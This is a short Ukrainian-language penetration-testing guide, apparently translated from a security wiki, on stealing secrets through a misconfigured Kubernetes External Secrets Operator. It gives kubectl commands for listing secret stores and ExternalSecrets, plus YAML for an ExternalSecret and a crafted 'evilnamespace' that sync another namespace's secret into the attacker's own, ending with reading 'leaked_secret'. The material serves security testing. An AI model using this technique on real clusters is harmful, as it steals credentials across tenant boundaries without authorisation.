External Secret Operator
Reading time: 2 minutes
Оригінальний автор цієї сторінки Fares
Ця сторінка надає кілька порад про те, як ви можете вкрасти секрети з неправильно налаштованого ESO або програми, яка використовує ESO для синхронізації своїх секретів.
Відмова від відповідальності
Техніка, показана нижче, може працювати лише за певних обставин. Наприклад, це залежить від вимог, необхідних для дозволу синхронізації секрету в просторі імен, яким ви володієте / який ви скомпрометували. Вам потрібно з'ясувати це самостійно.
Передумови
- Наявність доступу до кластера kubernetes / openshift з адміністративними привілеями в просторі імен
- Доступ на читання принаймні до ExternalSecret на рівні кластера
- З'ясуйте, чи є якісь необхідні мітки / анотації або членство в групі, які дозволяють ESO синхронізувати ваш секрет. Якщо вам пощастить, ви зможете вільно вкрасти будь-який визначений секрет.
Збір інформації про існуючий ClusterSecretStore
Припустимо, що у вас є користувач, який має достатньо прав для читання цього ресурсу; почніть з того, щоб спочатку перерахувати існуючі ClusterSecretStores.
kubectl get ClusterSecretStore
ExternalSecret enumeration
Припустимо, ви знайшли ClusterSecretStore з назвою mystore. Продовжте, перераховуючи його асоційовані externalsecret.
kubectl get externalsecret -A | grep mystore
Цей ресурс має область видимості простору імен, тому, якщо ви ще не знаєте, в якому просторі імен шукати, додайте опцію -A, щоб переглянути всі простори імен.
Вам слід отримати список визначених externalsecret. Припустимо, ви знайшли об'єкт externalsecret під назвою mysecret, визначений і використаний простором імен mynamespace. Зберіть трохи більше інформації про те, який тип секрету він містить.
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
Збирання частин
З цього місця ви можете отримати назву одного або кількох секретів (як визначено в ресурсі Secret). Ви отримаєте вихідні дані, подібні до:
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
Отже, ми отримали:
- Ім'я ClusterSecretStore
- Ім'я ExternalSecret
- Ім'я секрету
Тепер, коли у нас є все необхідне, ви можете створити ExternalSecret (і, в кінцевому підсумку, виправити/створити новий Namespace, щоб відповідати вимогам, необхідним для синхронізації вашого нового секрету):
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
Після кількох хвилин, якщо умови синхронізації були виконані, ви повинні мати можливість переглянути витік секрету у вашому просторі імен.
kubectl get secret leaked_secret -o yaml